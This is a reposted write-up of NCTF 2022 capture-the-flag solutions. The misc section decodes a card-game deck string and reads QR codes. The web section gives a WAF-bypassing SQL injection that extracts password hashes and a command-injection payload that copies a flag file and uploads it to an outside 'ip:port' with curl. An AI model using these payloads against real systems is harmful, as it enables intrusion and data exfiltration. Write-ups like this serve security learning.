2022 NCTF

news2024/9/20 16:06:03

MISC

炉边聚会

卡组代码是 Base64 编码的字节串,exp

<?php
$deckstring = "AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAi+BogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgA+AD4AO2B7wFkgnMCMwI+ga2B/QImgi6BJAIiAn2BOIJAAA=";
#这是⼀个⾮常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
	$shift = 0;
	$result = 0;
	do {
		$c = array_shift($data);
		$result |= ($c & 0x7f) << $shift;
		$shift += 7;
	}
	while ($c & 0x80);
	return $result;
}
function parse_deck($data) {
	$reserve = read_varint($data);
	if ($reserve != 0) {
		printf("Invalid deckstring");
		die;
	}
	$version = read_varint($data);
	if ($version != 1) {
		printf("Unsupported deckstring version %s", $version);
		die;
	}
	$format = read_varint($data);
	$heroes = [];
	$num_heroes = read_varint($data);
	for ($i = 0; $i < $num_heroes; $i++) {
		$heroes[] = read_varint($data);
	}
	$cards = [];
	$num_cards_x1 = read_varint($data);
	for ($i = 0; $i < $num_cards_x1; $i++) {
		$card_id = read_varint($data);
		$cards[] = [$card_id, 1];
	}
	$num_cards_x2 = read_varint($data);
	for ($i = 0; $i < $num_cards_x2; $i++) {
		$card_id = read_varint($data);
		$cards[] = [$card_id, 2];
	}
	$num_cards_xn = read_varint($data);
	for ($i = 0; $i < $num_cards_xn; $i++) {
		$card_id = read_varint($data);
		$count = read_varint($data);
		$cards[] = [$card_id, $count];
	}
	return [$cards, $heroes, $format];
	}
print_r(parse_deck($arr)[0]);

运行得到

Array
(
    [0] => Array
        (
            [0] => 780
            [1] => 1
        )

    [1] => Array
        (
            [0] => 670
            [1] => 1
        )

    [2] => Array
        (
            [0] => 840
            [1] => 1
        )

    [3] => Array
        (
            [0] => 700
            [1] => 1
        )

    [4] => Array
        (
            [0] => 1230
            [1] => 1
        )

    [5] => Array
        (
            [0] => 720
            [1] => 1
        )

    [6] => Array
        (
            [0] => 1010
            [1] => 1
        )

    [7] => Array
        (
            [0] => 970
            [1] => 1
        )

    [8] => Array
        (
            [0] => 1140
            [1] => 1
        )

    [9] => Array
        (
            [0] => 1160
            [1] => 1
        )

    [10] => Array
        (
            [0] => 1040
            [1] => 1
        )

    [11] => Array
        (
            [0] => 830
            [1] => 1
        )

    [12] => Array
        (
            [0] => 1160
            [1] => 1
        )

    [13] => Array
        (
            [0] => 1110
            [1] => 1
        )

    [14] => Array
        (
            [0] => 1100
            [1] => 1
        )

    [15] => Array
        (
            [0] => 1010
            [1] => 1
        )

    [16] => Array
        (
            [0] => 950
            [1] => 1
        )

    [17] => Array
        (
            [0] => 670
            [1] => 1
        )

    [18] => Array
        (
            [0] => 480
            [1] => 1
        )

    [19] => Array
        (
            [0] => 1000
            [1] => 1
        )

    [20] => Array
        (
            [0] => 1010
            [1] => 1
        )

    [21] => Array
        (
            [0] => 950
            [1] => 1
        )

    [22] => Array
        (
            [0] => 830
            [1] => 1
        )

    [23] => Array
        (
            [0] => 480
            [1] => 1
        )

    [24] => Array
        (
            [0] => 480
            [1] => 1
        )

    [25] => Array
        (
            [0] => 480
            [1] => 1
        )

    [26] => Array
        (
            [0] => 950
            [1] => 1
        )

    [27] => Array
        (
            [0] => 700
            [1] => 1
        )

    [28] => Array
        (
            [0] => 1170
            [1] => 1
        )

    [29] => Array
        (
            [0] => 1100
            [1] => 1
        )

    [30] => Array
        (
            [0] => 1100
            [1] => 1
        )

    [31] => Array
        (
            [0] => 890
            [1] => 1
        )

    [32] => Array
        (
            [0] => 950
            [1] => 1
        )

    [33] => Array
        (
            [0] => 1140
            [1] => 1
        )

    [34] => Array
        (
            [0] => 1050
            [1] => 1
        )

    [35] => Array
        (
            [0] => 570
            [1] => 1
        )

    [36] => Array
        (
            [0] => 1040
            [1] => 1
        )

    [37] => Array
        (
            [0] => 1160
            [1] => 1
        )

    [38] => Array
        (
            [0] => 630
            [1] => 1
        )

    [39] => Array
        (
            [0] => 1250
            [1] => 1
        )

)
[Finished in 43ms]

将这些[0]的内容除以10.就是ascll码,转换字符串就是flag
在这里插入图片描述
在这里插入图片描述

qrssssssss

二维码批量识别 https://tl.beer/parseqrcode.html

按时间递增排序 批量处理得到flag

qrssssssss_revenge

HINT:LMQH,利用QR RESEARCH

web

Ezbypass

cve:
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727

Payload:

?id=@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.
在这里插入图片描述

Calc:

DasCTF三月赛类似,加了几个符号的过滤
https://xiaolong22333.top/index.php/archives/140/
在tmp/log.txt发现⾥⾯有根⽬录,flag名字 Th1s_is__F1114g
通过cp 和curl

	/calc?num='''1' cp /T* /1.txt '3'''
	/calc?num='''1' curl -T /1.txt ip:port '3'''
	```
	

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/61952.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

非零基础自学Golang 2 开发环境 2.2 配置GOPATH

非零基础自学Golang 学习文档地址&#xff1a;https://www.topgoer.cn/ 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删【已联系过文档作者】 文章目录非零基础自学Golang2 开发环境2.2 配置GOPATH2.2.1 配置GOPATH2.2.2 go的项目目录2.2.3 适合个人开发…

[附源码]Python计算机毕业设计Django剧本杀交流分享平台

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

年产2万吨山楂酒工厂的设计-发酵工段及车间的设计(lunwen+任务书+cad图纸)

目录 1前 言 1 2总论 2 2.1设计依据 2 2.2设计指导思想和原则 2 2.3设计范围 2 2.3.1生产部门 2 2.3.2设计图纸 3 2.4工艺设计基本数据和指标 3 2.5生产工艺概述 3 2.6生产设备概述 4 2.7生产工艺流程图 4 2.8生产方法的简单介绍 6 3全程物料衡算 7 3.1全程总物料概算 7 3.1.1山…

MySQL主从同步

©网络研究院 安装环境 基本需求 ——采用CentOS7系统搭建MySQL服务器 ——关闭防火墙 ——关闭SELinux ——软件 MySQL-5.7.17-1 安装MySQL 续&#xff08;1&#xff09; 从官方下载RPM软件包 ——http://dev.mysql.com/downloads/mysql/ ——适用于当前系统的b…

数图互通高校房产管理——校园电子地图

数图互通房产管理系统在这方面做得比较全面&#xff1b; 1、校园电子地图建设方案 支持地图和房间双向无缝对接。通过电子地图选择建筑物&#xff08;平面或立体&#xff09;能够查看建筑物信息、楼层平面布局图或立体图&#xff0c;点击楼层上的房间能够编辑或查看房间信息。…

非零基础自学Golang 2 开发环境 2.4 Git 安装

非零基础自学Golang 学习文档地址&#xff1a;https://www.topgoer.cn/ 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删【已联系过文档作者】 文章目录非零基础自学Golang2 开发环境2.4 Git 安装2.4.1 安装git2 开发环境 2.4 Git 安装 2.4.1 安装git 虽…

Web 性能测试

Web 性能测试 作为网站应用的开发者或维护者&#xff0c;我们需要时常关注网站当前的健康状况&#xff0c;譬如在主流程运行正常的情况下&#xff0c;各方面性能体验是否满足期望&#xff0c;是否存在改进与提升的空间&#xff0c;如何进行快速且准确的问题定位等&#xff0c;…

mongoDB操作文档(全部)

mongoDB 1、创建、查询数据库 创建数据库 use dade 查询数据库 show dbs 2、创建集合、查看 创建集合插入数据 db.集合名.insert({}) db.dade.insert({dade:大得,age:18}) ​ 查看集合 show tables ​ 查看集合中的数据 db.集合名.find() 查询所有 db.dade.find() ​ db.集…

微服务框架 SpringCloud微服务架构 16 SpringAMQP 16.1 基本介绍

微服务框架 【SpringCloudRabbitMQDockerRedis搜索分布式&#xff0c;系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 SpringCloud微服务架构 文章目录微服务框架SpringCloud微服务架构16 SpringAMQP16.1 基本介绍16.1.1 什么是SpringAMQP16 SpringAMQP 16.1 …

Android -- 每日一问:你在Android开发中遇到的技术难题是什么,你是怎么解决的?

经典回答 一个工作过几年的程序员肯定会有工作中遇到技术难点问题&#xff0c;虽然这个问题有可能对于别人不是技术难点&#xff0c;但只要对于当时的你是技术难点&#xff0c;只要让你抓耳挠腮毫无头绪就往往会在你的大脑中留下深刻的印象。 这个问题&#xff0c;我也比较难…

【三维目标检测】VoteNet(二)

VoteNet数据和源码配置调试过程请参考上一篇博文&#xff1a;【三维目标检测】VoteNet&#xff08;一&#xff09;_Coding的叶子的博客-CSDN博客。本文主要详细介绍VoteNet网络结构及其运行中间状态。 1 VoteNet模型总体过程 VoteNet核心思想在于通过霍夫投票的方法实现了端到…

[附源码]计算机毕业设计基于SpringBoot的高校课程知识库

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

1550_AURIX_TC275_锁相环的操作

全部学习汇总&#xff1a; GreyZhang/g_TC275: happy hacking for TC275! (github.com) 继续SCU模块的学习&#xff0c;这一次主要是看一下锁相环的操作。锁相环之前接触的不少了&#xff0c;其实主要的一个功能就是提升单片机的时钟主频。 1. 备份时钟其实也是稳定可靠的&…

供应荧光染料FITC-PEG-FA,Folic acid-PEG-Fluorescein,荧光素-聚乙二醇-叶酸

An English name&#xff1a;FITC-PEG-FA&#xff0c;Folic acid-PEG-Fluorescein Chinese name&#xff1a;荧光素-聚乙二醇-叶酸 Item no&#xff1a;X-GF-0247-5k CAS&#xff1a;N/A Formula&#xff1a;N/A MW&#xff1a;荧光素-聚乙二醇5-叶酸、FITC-PEG 2-FA、荧光…

使用Python和SAS Viya分析社交网络

本示例使用Python和SAS分析了预防高危药物研究的结果。这个社交网络有194个节点和273个边&#xff0c;代表药物、使用者之间的联系。最近我们被客户要求撰写关于社交网络的研究报告&#xff0c;包括一些图形和统计输出。 背景 SAS Viya的最新版本提供了用于探索实验问题的全套创…

GIT分布式版本控制系统 | 命令讲解入门

Git概述 Git是一个开源的分布式版本控制系统&#xff0c;可以有效、高速地处理从很小到非常大的项目版本管理。 也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件&#xff1b;分布式相比于集中式的最大区别在于开发者可以提交到本地&#xff0c…

车间调度|基于帝王蝶优化算法的车间调度(Matlab代码实现)

目录 1 概述 2 蝴蝶优化算法 3 车间调度 3.1 车间调度描述 3.2 数学模型 4 运行结果 5 参考文献 6 Matlab代码实现 1 概述 随着智能化在制造业中的普及&#xff0c;解决车间生产调度的问题能有效提高车间的工作学习效率&#xff0c;实现车间现场管理的有序化、智能化…

极客时间Kafka - 01 Kafka术语|生产者|消费者|主题|分区|副本|ISR|OSR|AR|HW|LEO|Offset

文章目录1. 为什么需要消息引擎&#xff1f;2. Kafka 相关术语3. Kafka 基本概念1. 为什么需要消息引擎&#xff1f; 答案就是“削峰填谷”。 所谓的“削峰填谷”就是指缓冲上下游瞬时突发流量&#xff0c;使其更平滑。特别是对于那种发送能力很强的上游系统&#xff0c;如果没…

Java—hashCode、equals

文章目录hashCode()介绍hashCode()hashCode方法作用为什么要有hashCode()&#xff1f;equals()equals()作用&#xff1f;为什么重写equals方法必须重写hashcode方法&#xff1f;128陷阱&#xff1f;equals和hashCode的关系——————————————————————————…

前端环境变量及vite中本地环境配置实践

前言 前端在之前并没有工程化的概念&#xff0c;甚至开发环境、测试环境、生产环境全靠大家手动配置。 有了nodejs之后&#xff0c;环境变量 &#xff08;environment variables&#xff09;这个概念&#xff0c;便慢慢进入了前端的视野&#xff0c;方便了前端各种环境自动化…